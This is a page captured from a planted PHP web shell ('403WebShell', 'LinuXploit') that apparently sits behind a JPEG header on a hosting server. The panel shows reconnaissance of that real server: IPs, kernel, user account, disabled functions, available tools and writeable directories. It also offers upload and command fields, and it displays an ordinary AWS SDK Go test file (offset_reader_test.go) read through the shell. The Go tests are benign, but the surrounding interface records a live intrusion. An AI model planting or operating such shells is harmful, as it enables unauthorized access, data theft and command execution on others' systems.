JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.98  /  Your IP : 216.73.217.129
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/go/pkg/mod/github.com/aws/aws-sdk-go@v1.55.5/aws/request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/go/pkg/mod/github.com/aws/aws-sdk-go@v1.55.5/aws/request/offset_reader_test.go
package request

import (
	"bytes"
	"io"
	"math/rand"
	"sync"
	"testing"
	"time"

	"github.com/aws/aws-sdk-go/internal/sdkio"
)

func TestOffsetReaderRead(t *testing.T) {
	buf := []byte("testData")
	reader := &offsetReader{buf: bytes.NewReader(buf)}

	tempBuf := make([]byte, len(buf))

	n, err := reader.Read(tempBuf)

	if e, a := n, len(buf); e != a {
		t.Errorf("expect %v, got %v", e, a)
	}
	if err != nil {
		t.Fatalf("expect no error, got %v", err)
	}
	if e, a := buf, tempBuf; !bytes.Equal(e, a) {
		t.Errorf("expect %v, got %v", e, a)
	}
}

func TestOffsetReaderSeek(t *testing.T) {
	buf := []byte("testData")
	reader, err := newOffsetReader(bytes.NewReader(buf), 0)
	if err != nil {
		t.Fatalf("expect no error, got %v", err)
	}

	orig, err := reader.Seek(0, sdkio.SeekCurrent)
	if err != nil {
		t.Fatalf("expect no error, got %v", err)
	}
	if e, a := int64(0), orig; e != a {
		t.Errorf("expect %v, got %v", e, a)
	}

	n, err := reader.Seek(0, sdkio.SeekEnd)
	if err != nil {
		t.Fatalf("expect no error, got %v", err)
	}
	if e, a := int64(len(buf)), n; e != a {
		t.Errorf("expect %v, got %v", e, a)
	}

	n, err = reader.Seek(orig, sdkio.SeekStart)
	if err != nil {
		t.Fatalf("expect no error, got %v", err)
	}
	if e, a := int64(0), n; e != a {
		t.Errorf("expect %v, got %v", e, a)
	}
}

func TestOffsetReaderClose(t *testing.T) {
	buf := []byte("testData")
	reader := &offsetReader{buf: bytes.NewReader(buf)}

	err := reader.Close()
	if err != nil {
		t.Fatalf("expect no error, got %v", err)
	}

	tempBuf := make([]byte, len(buf))
	n, err := reader.Read(tempBuf)
	if e, a := n, 0; e != a {
		t.Errorf("expect %v, got %v", e, a)
	}
	if e, a := err, io.EOF; e != a {
		t.Errorf("expect %v, got %v", e, a)
	}
}

func TestOffsetReaderCloseAndCopy(t *testing.T) {
	buf := []byte("testData")
	tempBuf := make([]byte, len(buf))
	reader := &offsetReader{buf: bytes.NewReader(buf)}

	newReader, err := reader.CloseAndCopy(0)
	if err != nil {
		t.Fatalf("expect no error, got %v", err)
	}

	n, err := reader.Read(tempBuf)
	if e, a := n, 0; e != a {
		t.Errorf("expect %v, got %v", e, a)
	}
	if e, a := err, io.EOF; e != a {
		t.Errorf("expect %v, got %v", e, a)
	}

	n, err = newReader.Read(tempBuf)
	if e, a := n, len(buf); e != a {
		t.Errorf("expect %v, got %v", e, a)
	}
	if err != nil {
		t.Fatalf("expect no error, got %v", err)
	}
	if e, a := buf, tempBuf; !bytes.Equal(e, a) {
		t.Errorf("expect %v, got %v", e, a)
	}
}

func TestOffsetReaderCloseAndCopyOffset(t *testing.T) {
	buf := []byte("testData")
	tempBuf := make([]byte, len(buf))
	reader := &offsetReader{buf: bytes.NewReader(buf)}

	newReader, err := reader.CloseAndCopy(4)
	if err != nil {
		t.Fatalf("expect no error, got %v", err)
	}

	n, err := newReader.Read(tempBuf)
	if e, a := n, len(buf)-4; e != a {
		t.Errorf("expect %v, got %v", e, a)
	}
	if err != nil {
		t.Fatalf("expect no error, got %v", err)
	}

	expected := []byte{'D', 'a', 't', 'a', 0, 0, 0, 0}
	if e, a := expected, tempBuf; !bytes.Equal(e, a) {
		t.Errorf("expect %v, got %v", e, a)
	}
}

func TestOffsetReaderRace(t *testing.T) {
	wg := sync.WaitGroup{}

	f := func(reader *offsetReader) {
		defer wg.Done()
		var err error
		buf := make([]byte, 1)
		_, err = reader.Read(buf)
		for err != io.EOF {
			_, err = reader.Read(buf)
		}

	}

	closeFn := func(reader *offsetReader) {
		defer wg.Done()
		time.Sleep(time.Duration(rand.Intn(20)+1) * time.Millisecond)
		reader.Close()
	}
	for i := 0; i < 50; i++ {
		reader := &offsetReader{buf: bytes.NewReader(make([]byte, 1024*1024))}
		wg.Add(1)
		go f(reader)
		wg.Add(1)
		go closeFn(reader)
	}
	wg.Wait()
}

func BenchmarkOffsetReader(b *testing.B) {
	bufSize := 1024 * 1024 * 100
	buf := make([]byte, bufSize)
	reader := &offsetReader{buf: bytes.NewReader(buf)}

	tempBuf := make([]byte, 1024)

	for i := 0; i < b.N; i++ {
		reader.Read(tempBuf)
	}
}

func BenchmarkBytesReader(b *testing.B) {
	bufSize := 1024 * 1024 * 100
	buf := make([]byte, bufSize)
	reader := bytes.NewReader(buf)

	tempBuf := make([]byte, 1024)

	for i := 0; i < b.N; i++ {
		reader.Read(tempBuf)
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit